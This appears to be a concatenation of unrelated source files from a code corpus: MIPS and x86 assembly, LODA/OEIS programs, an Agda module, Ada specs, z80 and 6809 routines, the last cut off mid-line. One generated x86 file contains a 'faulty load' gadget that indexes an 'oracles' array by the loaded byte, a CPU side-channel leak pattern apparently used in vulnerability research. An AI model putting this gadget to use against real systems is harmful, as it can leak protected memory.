00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
MIPS/MIPS_ASM/00_multiply.asm
mriosrivas/HW-course-material-
1
89201
.text .globl main main: addi $s0, $0, 35 # $s0 = 0 + 4 = 4 addi $s1, $0, 17 # $s1 = 0 + 1 = 1 mult $s1, $s0
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_443.asm
ljhsiun2/medusa
9
90055
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1c15, %rdi add $25754, %r14 mov $0x6162636465666768, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%rdi) nop inc %rbx lea addresses_D_ht+0xa3b5, %r15 nop nop and %r10, %r10 movb $0x61, (%r15) nop nop nop xor %rdi, %rdi lea addresses_UC_ht+0x5e95, %rsi lea addresses_WT_ht+0x142f9, %rdi nop and %rdx, %rdx mov $74, %rcx rep movsq nop nop nop nop nop and %rdx, %rdx lea addresses_UC_ht+0x10f79, %r15 xor %rdi, %rdi movl $0x61626364, (%r15) add %r14, %r14 lea addresses_UC_ht+0xa295, %rsi lea addresses_WC_ht+0x1a755, %rdi clflush (%rdi) nop nop nop cmp $6621, %rbx mov $87, %rcx rep movsl nop nop nop xor $12159, %rdx lea addresses_A_ht+0x10595, %rdi sub %rcx, %rcx mov (%rdi), %rdx nop nop cmp $3032, %r10 lea addresses_A_ht+0x19195, %rdx and %rcx, %rcx movw $0x6162, (%rdx) nop nop nop nop xor $53093, %r15 lea addresses_WC_ht+0x1d995, %rsi nop nop nop nop xor %r15, %r15 movb $0x61, (%rsi) nop xor %r10, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rbx push %rdi push %rsi // Faulty Load lea addresses_RW+0x1d595, %r11 cmp %rdi, %rdi vmovups (%r11), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r12 lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rsi pop %rdi pop %rbx pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
Parametric/Denotation/CachingMValue.agda
inc-lc/ilc-agda
10
12574
------------------------------------------------------------------------ -- INCREMENTAL λ-CALCULUS -- -- Values for caching evaluation of MTerm ------------------------------------------------------------------------ import Parametric.Syntax.Type as Type import Parametric.Syntax.MType as MType import Parametric.Denotation.Value as Value import Parametric.Denotation.MValue as MValue module Parametric.Denotation.CachingMValue (Base : Type.Structure) (⟦_⟧Base : Value.Structure Base) where open import Base.Data.DependentList open import Base.Denotation.Notation open Type.Structure Base open MType.Structure Base open Value.Structure Base ⟦_⟧Base open MValue.Structure Base ⟦_⟧Base open import Data.Product hiding (map) open import Data.Sum hiding (map) open import Data.Unit open import Level open import Function hiding (const) Structure : Set Structure = Base → Type module Structure (ΔBase : Structure) where {-# TERMINATING #-} ⟦_⟧ValTypeHidCache : (τ : ValType) → Set ⟦_⟧CompTypeHidCache : (τ : CompType) → Set ⟦ U c ⟧ValTypeHidCache = ⟦ c ⟧CompTypeHidCache ⟦ B ι ⟧ValTypeHidCache = ⟦ base ι ⟧ ⟦ vUnit ⟧ValTypeHidCache = ⊤ ⟦ τ₁ v× τ₂ ⟧ValTypeHidCache = ⟦ τ₁ ⟧ValTypeHidCache × ⟦ τ₂ ⟧ValTypeHidCache ⟦ τ₁ v+ τ₂ ⟧ValTypeHidCache = ⟦ τ₁ ⟧ValTypeHidCache ⊎ ⟦ τ₂ ⟧ValTypeHidCache -- -- XXX The termination checker isn't happy with it, and it may be right ─ if -- you keep substituting τ₁ = U (F τ), you can make the cache arbitrarily big. -- I think we don't do that unless we are caching a non-terminating -- computation to begin with, but I'm not entirely sure. -- -- However, the termination checker can't prove that the function is -- terminating because it's not structurally recursive, but one call of the -- function will produce another call of the function stuck on a neutral term: -- So the computation will have terminated, just in an unusual way! -- -- Anyway, I need not mechanize this part of the proof for my goals. -- -- XXX: This line is the only change, up to now, for the caching semantics, -- the rest is copied. Inheritance would handle this precisely; without -- inheritance, we might want to use one of the standard encodings of related -- features (delegation?). ⟦ F τ ⟧CompTypeHidCache = (Σ[ τ₁ ∈ ValType ] ⟦ τ ⟧ValTypeHidCache × ⟦ τ₁ ⟧ValTypeHidCache ) ⟦ σ ⇛ τ ⟧CompTypeHidCache = ⟦ σ ⟧ValTypeHidCache → ⟦ τ ⟧CompTypeHidCache ⟦_⟧ValCtxHidCache : (Γ : ValContext) → Set ⟦_⟧ValCtxHidCache = DependentList ⟦_⟧ValTypeHidCache {-# TERMINATING #-} ⟦_⟧ΔValType : ValType → Set ⟦_⟧ΔCompType : CompType → Set ⟦_⟧ΔCompType (F τ) = Σ[ τ₁ ∈ ValType ] (⟦ τ₁ ⟧ValTypeHidCache → ⟦ τ ⟧ΔValType × ⟦ τ₁ ⟧ValTypeHidCache) ⟦_⟧ΔCompType (σ ⇛ τ) = ⟦ σ ⟧ΔValType → ⟦ τ ⟧ΔCompType ⟦_⟧ΔValType (U c) = ⟦ c ⟧ΔCompType ⟦_⟧ΔValType (B ι) = ⟦ ΔBase ι ⟧ ⟦_⟧ΔValType vUnit = ⊤ ⟦_⟧ΔValType (τ₁ v× τ₂) = ⟦_⟧ΔValType τ₁ × ⟦_⟧ΔValType τ₂ ⟦_⟧ΔValType (τ₁ v+ τ₂) = (⟦_⟧ΔValType τ₁ ⊎ ⟦_⟧ΔValType τ₂) ⊎ (⟦ τ₁ ⟧ ⊎ ⟦ τ₂ ⟧) open import Data.Product open import Level -- -- Needed to allow storing functions in cache: -- record _↝_↝_ {a b} (S : Set a) c (T : Set b) : Set (a ⊔ b ⊔ suc c) where -- field -- cache : Set c -- fun : S → (T × cache) -- record _↝′_↝′_ {a b} (dS : Set a) c (dT : Set b) : Set (a ⊔ b ⊔ suc c) where -- field -- cache : Set c -- fun : dS → cache → (dT × cache) -- -- -- For simplicity, but won't work: -- -- -- -- record _↝_ {a b} (S : Set a) (T : Set b) : Set (a ⊔ b ⊔ suc zero) where -- -- field -- -- cache : Set -- -- fun : S → (T × cache) -- -- record _↝′_ (da : Set₁) (db : Set₁) : Set₁ where -- -- field -- -- cache : Set -- -- dfun : da → cache → (db × cache) -- fooo : (a b : Set₁) → Set₁ -- fooo a b = a ↝ zero ↝ (b ↝ zero ↝ b) -- dfooo : (da db : Set₁) → Set₁ -- dfooo da db = da ↝′ zero ↝′ (db ↝′ zero ↝′ db) -- Since caches can contain caches, including function caches, we can't use the -- above. The existentials must store object-language codes of some sort. For -- extra fun, the resulting code is not typeable with simple types, so we can't -- use codes for simple types but must store, say, function bodies.
oeis/092/A092403.asm
neoneye/loda-programs
22
102644
; A092403: a(n) = sigma(n) + sigma(n+1). ; 4,7,11,13,18,20,23,28,31,30,40,42,38,48,55,49,57,59,62,74,68,60,84,91,73,82,96,86,102,104,95,111,102,102,139,129,98,116,146,132,138,140,128,162,150,120,172,181,150,165,170,152,174,192,192,200,170,150,228,230 mov $2,$0 mov $4,2 lpb $4 sub $4,1 add $0,$4 mov $5,$0 sub $0,1 mov $3,$4 max $5,0 seq $5,332569 ; a(n) = Sum_{k=1..n} floor(n/k) * ceiling(n/k). sub $5,1 mul $3,$5 add $1,$3 lpe min $2,1 mul $2,$5 sub $1,$2 mov $0,$1
programs/oeis/059/A059989.asm
neoneye/loda
22
163450
<reponame>neoneye/loda ; A059989: Numbers n such that 3*n+1 and 4*n+1 are both squares. ; 0,56,10920,2118480,410974256,79726887240,15466605150360,3000441672282656,582070217817684960,112918621814958599640,21905630561884150645256,4249579410383710266580080,824396499983877907565890320,159928671417461930357516142056,31025337858487630611450565668600,6018755615875182876691052223566400 seq $0,82841 ; a(n) = 4*a(n-1) - a(n-2) for n>1, a(0)=3, a(1)=9. pow $0,2 sub $0,81 div $0,3 add $0,26 pow $0,2 div $0,12
oeis/073/A073254.asm
neoneye/loda-programs
11
2741
; A073254: Array read by antidiagonals, A(n,k) = n^2 + n*k + k^2. ; Submitted by <NAME> ; 0,1,1,4,3,4,9,7,7,9,16,13,12,13,16,25,21,19,19,21,25,36,31,28,27,28,31,36,49,43,39,37,37,39,43,49,64,57,52,49,48,49,52,57,64,81,73,67,63,61,61,63,67,73,81,100,91,84,79,76,75,76,79,84,91,100,121,111,103,97,93,91,91,93,97,103,111,121,144,133,124,117,112,109,108,109,112,117,124,133,144,169,157,147,139,133,129,127,127,129 mov $2,$0 lpb $0 add $3,1 sub $2,$3 mov $0,$2 add $1,$3 trn $1,$2 lpe pow $1,2 mul $3,$0 add $1,$3 mov $0,$1
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/aggr19_pkg.adb
best08618/asylo
7
29693
package body Aggr19_Pkg is procedure Proc (Pool : in out Rec5) is begin Pool.Ent := (Kind => Two, Node => Pool.Ent.Node, I => 0); end; end ;
source/program_structure/adam-library_unit-a_body.ads
charlie5/aIDE
3
2119
<reponame>charlie5/aIDE<gh_stars>1-10 with Ada.Containers.Vectors, Ada.Streams; private with AdaM.subprogram_Body, AdaM.package_Body; package AdaM.library_Unit.a_body is type Item is new library_Unit.item with private; -- View -- type View is access all Item'Class; procedure View_write (Stream : not null access Ada.Streams.Root_Stream_Type'Class; Self : in View); procedure View_read (Stream : not null access Ada.Streams.Root_Stream_Type'Class; Self : out View); for View'write use View_write; for View'read use View_read; -- Vector -- package Vectors is new ada.Containers.Vectors (Positive, View); subtype Vector is Vectors.Vector; -- Forge -- function new_Subprogram return library_Unit.a_body.view; procedure free (Self : in out library_Unit.a_body.view); overriding procedure destruct (Self : in out library_Unit.a_body.item); -- Attributes -- overriding function Id (Self : access Item) return AdaM.Id; private type declaration_Kind is (subprogram_Body, package_Body); type a_Declaration (Kind : declaration_Kind := subprogram_Body) is record case Kind is when subprogram_Body => of_Subprogram : AdaM.subprogram_Body.view; when package_Body => of_Package : AdaM.package_Body.view; end case; end record; type Item is new library_Unit.item with record Declaration : a_Declaration; end record; end AdaM.library_Unit.a_body;
programs/oeis/020/A020878.asm
neoneye/loda
22
1109
; A020878: Number of maximum matchings in the n-Moebius ladder M_n. ; 2,3,3,6,7,13,18,31,47,78,123,201,322,523,843,1366,2207,3573,5778,9351,15127,24478,39603,64081,103682,167763,271443,439206,710647,1149853,1860498,3010351,4870847,7881198,12752043,20633241,33385282,54018523,87403803,141422326,228826127,370248453,599074578,969323031,1568397607,2537720638,4106118243,6643838881,10749957122,17393796003,28143753123,45537549126,73681302247,119218851373,192900153618,312119004991,505019158607,817138163598,1322157322203,2139295485801,3461452808002,5600748293803,9062201101803,14662949395606,23725150497407,38388099893013,62113250390418,100501350283431,162614600673847,263115950957278,425730551631123,688846502588401,1114577054219522,1803423556807923,2918000611027443,4721424167835366,7639424778862807,12360848946698173,20000273725560978,32361122672259151,52361396397820127,84722519070079278,137083915467899403,221806434537978681,358890350005878082,580696784543856763,939587134549734843,1520283919093591606,2459871053643326447,3980154972736918053,6440026026380244498,10420180999117162551,16860207025497407047,27280388024614569598,44140595050111976643,71420983074726546241,115561578124838522882,186982561199565069123,302544139324403592003,489526700523968661126 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 max $0,0 seq $0,301653 ; Expansion of x*(1 + 2*x)/((1 - x)*(1 + x)*(1 - x - x^2)). mov $2,$3 mul $2,$0 add $1,$2 mov $4,$0 lpe min $5,1 mul $5,$4 sub $1,$5 add $1,1 mov $0,$1
courses/spark_for_ada_programmers/labs/source/990_spark_example_project/string_fixed.ads
AdaCore/training_material
15
19896
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- A D A . S T R I N G S . F I X E D -- -- -- -- S p e c -- -- -- -- This specification is derived from the Ada Reference Manual for use with -- -- GNAT. In accordance with the copyright of that document, you can freely -- -- copy and modify this specification, provided that if you redistribute a -- -- modified version, any changes that you have made are clearly indicated. -- -- -- ------------------------------------------------------------------------------ with Ada.Strings.Maps; with Ada.Strings; use Ada.Strings; package String_Fixed with SPARK_Mode is pragma Preelaborate; ------------------------ -- Search Subprograms -- ------------------------ function Index (Source : String; Set : Maps.Character_Set; From : Positive; Test : Membership := Inside; Going : Direction := Forward) return Natural; -- Index searches for the first or last occurrence of any of a set of -- characters (when Test=Inside), or any of the complement of a set of -- characters (when Test=Outside). If Source is the null string, Index -- returns 0; otherwise, if From is not in Source'Range, then Index_Error -- is propagated. Otherwise, it returns the smallest index I >= From (if -- Going=Forward) or the largest index I <= From (if Going=Backward) such -- that Source(I) satisfies the Test condition with respect to Set; it -- returns 0 if there is no such Character in Source. function Index (Source : String; Set : Maps.Character_Set; Test : Membership := Inside; Going : Direction := Forward) return Natural; -- If Going = Forward, -- returns Index (Source, Set, Source'First, Test, Forward); -- otherwise, returns -- Index (Source, Set, Source'Last, Test, Backward); function Index_Non_Blank (Source : String; From : Positive; Going : Direction := Forward) return Natural; -- Returns Index (Source, Maps.To_Set(Space), From, Outside, Going); function Index_Non_Blank (Source : String; Going : Direction := Forward) return Natural; -- Returns Index(Source, Maps.To_Set(Space), Outside, Going) --------------------------------------- -- String Transformation Subprograms -- --------------------------------------- function Insert (Source : String; Before : Positive; New_Item : String) return String; -- Propagates Index_Error if Before is not in Source'First .. Source'Last+1; -- otherwise, returns Source(Source'First..Before-1) & New_Item & -- Source(Before..Source'Last), but with lower bound 1. -- Beware of the overflow of the string length ! function Overwrite (Source : String; Position : Positive; New_Item : String) return String; -- Propagates Index_Error if Position is not in Source'First .. -- Source'Last+1; otherwise, returns the string obtained from Source by -- consecutively replacing characters starting at Position with -- corresponding characters from New_Item with lower bound 1. If the end of -- Source is reached before the characters in New_Item are exhausted, the -- remaining characters from New_Item are appended to the string. -- Beware of the overflow of the string length ! function Delete (Source : String; From : Positive; Through : Natural) return String; -- If From > Through, the returned string is Source with lower bound 1. -- If From not in Source'Range, or Through > Source'Last, then Index_Error -- is propagated. Otherwise, the returned string comprises -- Source(Source'First..From - 1) & Source(Through+1..Source'Last), but -- with lower bound 1. --------------------------------- -- String Selector Subprograms -- --------------------------------- function Trim (Source : String; Left : Maps.Character_Set; Right : Maps.Character_Set) return String; -- Returns the string obtained by removing from Source all leading -- characters in Left and all trailing characters in Right. function Trim (Source : String; Side : Trim_End) return String; -- Returns the string obtained by removing from Source all leading Space -- characters (if Side = Left), all trailing Space characters -- (if Side = Right), or all leading and trailing Space characters -- (if Side = Both). function Head (Source : String; Count : Natural; Pad : Character := Space) return String; -- Returns a string of length Count. If Count <= Source'Length, the string -- comprises the first Count characters of Source. Otherwise, its contents -- are Source concatenated with Count-Source'Length Pad characters. function Tail (Source : String; Count : Natural; Pad : Character := Space) return String; -- Returns a string of length Count. If Count <= Source'Length, the string -- comprises the last Count characters of Source. Otherwise, its contents -- are Count-Source'Length Pad characters concatenated with Source. ---------------------------------- -- String Constructor Functions -- ---------------------------------- function "*" (Left : Natural; Right : Character) return String; -- This function replicates a character a specified number of times. It -- returns a string whose length is Left and each of whose elements is -- Right. end String_Fixed;
libsrc/_DEVELOPMENT/l/z80/long/fast/l_fast_lsr_dehl.asm
jpoikela/z88dk
640
85560
<reponame>jpoikela/z88dk SECTION code_clib SECTION code_l PUBLIC l_fast_lsr_dehl EXTERN l0_fast_lsr_hl l_fast_lsr_dehl: ; logical shift right 32-bit unsigned long ; ; enter : dehl = 32-bit number ; a = shift amount ; ; exit : dehl = dehl >> a ; ; uses : af, b, de, hl or a ret z ld b,8 sub b jr c, fine_shift ld l,h ld h,e ld e,d ld d,0 sub b jr c, fine_shift ld l,h ld h,e ld e,d sub b jp c, l0_fast_lsr_hl ld l,h ld h,e sub b jp c, l0_fast_lsr_hl ld l,h ret fine_shift: add a,b ret z ld b,a ld a,e fine_shift_loop: srl d rra rr h rr l djnz fine_shift_loop ld e,a ret
src/test/ref/pointer-void-3.asm
jbrandwood/kickc
2
161606
// Test void pointer - issues when assigning returns from malloc() // Commodore 64 PRG executable file .file [name="pointer-void-3.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .label SCREEN = $400 .label heap_head = 2 .segment Code main: { .label buf1 = 6 .label buf2 = 4 // byte* buf1 = malloc() lda #<$c000 sta.z heap_head lda #>$c000 sta.z heap_head+1 jsr malloc // byte* buf1 = malloc() lda.z malloc.return_1 sta.z malloc.return lda.z malloc.return_1+1 sta.z malloc.return+1 // byte* buf2 = malloc() jsr malloc // byte* buf2 = malloc() // *buf1 = 'a' lda #'a' ldy #0 sta (buf1),y // *buf2 = 'b' lda #'b' sta (buf2),y // SCREEN[0] = *buf1 lda (buf1),y sta SCREEN // SCREEN[1] = *buf2 lda (buf2),y sta SCREEN+1 // } rts } malloc: { .label return = 6 .label return_1 = 4 // heap_head++; inc.z heap_head bne !+ inc.z heap_head+1 !: // return heap_head; lda.z heap_head sta.z return_1 lda.z heap_head+1 sta.z return_1+1 // } rts }
data/FF1a_Randomizer_Base/Individual_Patches/Encounter Toggle Src/Encounter Check - New.asm
nic0lette/ffr-hmsj
1
96540
<gh_stars>1-10 @Does a check based on number of steps taken + RNG to see if you get an encounter this step @Depending on your options byte, will load from one of two threshold sets or disable encounters .thumb push {r4,r5,r14} mov r5,r1 @r5 = Area's Encounter Rate per step table ldr r1,StepCounter add r4,r0,r1 ldrb r0,[r4] @Load step counter cmp r0,#0x1F bhi OptionCheck @If taken thirty-two steps, do not increment add r0,#0x1 @Otherwise, increment step counter strb r0,[r4] OptionCheck: ldr r0,VarMem ldr r0,[r0] @Load base offset mov r1,#0xBA lsl r1,r1,#0x4 @Advance to options byte ldrb r1,[r0,r1] @And load it! lsr r1,r1,#0x6 @Isolate the text speed byte cmp r1,#0x2 blt CheckLoHi @Are you in "off" mode? mov r0,#0x0 b Return @If so, no encounter no matter what CheckLoHi: cmp r1,#0x1 @Are you in "low" mode? bne DoRNGCheck mov r1,#0xC0 lsl r1,r1,#0x1 add r5,r5,r1 @If so, go to the alternate encounter rates table DoRNGCheck: ldr r0,GenerateRandom @Generate a random word bl Longcall_0 lsr r0,r0,#0x16 @Take top 10 bits (value between 0x0 and 0x3FF) ldrb r1,[r4] lsl r1,r1,#0x1 @Advance to encounter rate for your current step add r1,r1,r5 sub r1,#0x2 @since your step counter is always at least 1 at this stage ldrh r1,[r1] @Load the threshold value cmp r0,r1 @If the random number is less than the threshold, get an encounter bcc GetEncounter mov r0,#0x0 b Return GetEncounter: mov r0,#0x0 @If you get an encounter, reset the step counter strb r0,[r4] mov r0,#0x1 Return: pop {r4,r5} pop {r1} bx r1 .align 2 VarMem: .long 0x02000584 GenerateRandom: .long 0x080696AD StepCounter: .long 0x00003826 Longcall_0: bx r0
src/ada-core/src/linted-process.ads
mstewartgallus/linted
0
19126
<gh_stars>0 -- Copyright 2016,2017 <NAME> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -- implied. See the License for the specific language governing -- permissions and limitations under the License. with Interfaces.C; package Linted.Process with Spark_Mode is pragma Preelaborate; subtype Id is Interfaces.C.int; function Current return Id with Volatile_Function; end Linted.Process;
constants.asm
manuelmartinezbosch/testing-gb
0
8618
INCLUDE "macros.asm" INCLUDE "constants/hardware.inc" INCLUDE "constants/hardware_constants.asm" INCLUDE "constants/misc_constants.asm" INCLUDE "constants/gfx_constants.asm"
tests/sample.asm
tonypdmtr/emu6809
1
12994
************************************************************** * Programmer: <NAME> <<EMAIL>> * * Program : SAMPLE * * Includes : Nothing * * Links : Nothing * * Created : March 22, 1991 * * Updated : March 28, 1991 * * Language : (MSDOS/OS9) 6809 Assembler * * Purpose : Prove the functionality of the 6809/OS-9 prog. * * -------------------- Version History --------------------- * * 1.00 : Original * ************************************************************** ********** OS-9 DEFINITIONS ********** F_Exit equ $06 B=error code (no error, B=0) I_Read equ $89 A=handle, X->string, Y=length I_Write equ $8A A=handle, X->string, Y=length I_Readln equ $8B A=handle, X->string, Y=length I_Writln equ $8C A=handle, X->string, Y=length OS9_StdIn equ $00 OS9_StdOut equ $01 OS9_StdErr equ $02 ********** PROGRAM DEFINITIONS ********** StackTop equ $F000 LowLimit equ $100 UpLimit equ $400 ********** PROGRAM CODE ********** org $100 Begin jmp Start,pcr skip data segment ********** DATA SEGMENT ********** Error rmb 1 error code Counter rmb 1 buffer position counter Buffer rmb 75 dump line BufferLen equ *-Buffer Msg000 fcb $0d,$0a fcc /OS-9 Memory Dumper ver. 1.00/ fcb $0d,$0a fcc /Copyright (c) 1991 by <NAME>/ fcb $0d,$0a Len000 equ *-Msg000 Msg001 fcc /Addr 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF/ fcb $0d,$0a fcc /---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ----------------/ Len001 equ *-Msg001 ErrMsg fcc /*** Program terminated with error code / ErrCode fdb ' ' ErrLen equ *-ErrMsg ********** CODE SEGMENT Start lds #StackTop initialize stack pointer lda #0 initialize exit error code sta Error,pcr bsr ShwCprght print the copyright message bsr DoWork do the dumping ldb Error,pcr tstb #0 do we have an error? beq GetOut no, exit tfr b,a get error code in A leax ErrCode,pcr point to error display buffer lbsr ToHex convert to a hex string lbsr Beep leax ErrMsg,pcr point to error message ldy #ErrLen and get its length lbsr Writeln GetOut swi2 fcb F_Exit exit to OS-9 ShwCprght equ * leax Msg000,pcr ldy #Len000 lbsr Writeln rts DoWork equ * * print the header leax Msg001,pcr ldy #Len001 lbsr Writeln * first clear the buffer with spaces leax Buffer,pcr ldy #BufferLen lda #' ' ClearLoop sta ,x+ leay -1,y bne ClearLoop * initialize memory address and buffer pointer ldu #LowLimit point to the starting point leax Buffer,pcr point to output buffer clr Counter,pcr zero buffer position counter lbsr PutAddress leax 1,x skip a space * start decoding MainLoop lda ,u+ get a bute in A bsr ToHex convert to hex string cmpa #' ' change to dot characters below space bhs skip lda #'.' unprintable character masking skip pshs x,d leax Buffer,pcr ldb Counter,pcr abx sta 55,x puls x,d leax 1,x skip a space inc Counter,pcr adjust counter lda Counter,pcr cmpa #16 blo GoOn leax Buffer,pcr reset pointer to buffer clr Counter,pcr reset buffer position counter pshs y ldy #BufferLen lbsr 